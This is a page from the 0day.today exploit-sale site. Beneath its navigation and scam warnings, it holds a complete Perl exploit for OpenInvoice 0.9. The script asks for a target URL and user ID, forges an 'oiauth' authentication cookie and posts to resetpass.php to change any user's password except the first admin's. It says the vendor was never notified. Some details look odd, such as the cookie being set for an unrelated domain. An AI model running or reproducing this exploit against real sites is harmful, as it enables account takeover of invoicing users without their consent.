0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
OpenInvoice 0.9 Arbitrary Change User Password Exploit
====================================================== OpenInvoice 0.9 Arbitrary Change User Password Exploit ====================================================== #!/usr/bin/perl # [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ] # Discovered && Coded By t0pP8uZz # Discovered On: 18 April 2008 # Vendor has not been notified! # see exploit for more details.. use strict; use LWP::UserAgent; use HTTP::Cookies; print "-+- [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ] -+-\n"; print "-+- (Discovered && Coded By t0pP8uZz) -+-\n"; print "-+- -+-\n"; print "-+- Discovered On: 18 April 2008 / Discovered By: t0pP8uZz -+-\n"; print "-+- OpenInvoice 0.9 beta (and prior) Suffers from Insecure ... -+-\n"; print "-+- ...cookies and admin panel validating, combining the two.. -+-\n"; print "-+- .we can change any users password except for the 1st admin -+-\n"; print "-+- -+-\n"; print "-+- [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ] -+-\n"; print "\nEnter URL (the vuln site): "; chomp(my $url=<STDIN>); print "\nEnter UID (the user id to change pass for): "; chomp(my $uid=<STDIN>); my $domain = $url; my $count = ($domain =~ tr"/""); if($count == 1) { $domain =~ s/\\//; } elsif($count >= 3) { $domain =~ s/http:\/\///; } my $cjar = HTTP::Cookies->new( file => "cookies.txt", autosave => 1 ); $cjar->set_cookie(1, "oiauth", "1", "/", "6oogle.pl"); $cjar->save("cookies.txt"); my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1 )', cookie_jar => $cjar ); my $result = $ua->post($url."/resetpass.php", { 'uid' => $uid, 'changepass' => 'Change Password' } ); if($result->is_success() && $result->content !~ /unable to change password/i && $uid != 1) { print "Password successfuly changed for userid: ".$uid."\n"; exit; } print "Exploit Failed! check domain is running OpenInvoice <= 0.9, Check UID isnt 1\n"; exit; # 0day.today [2024-12-24] #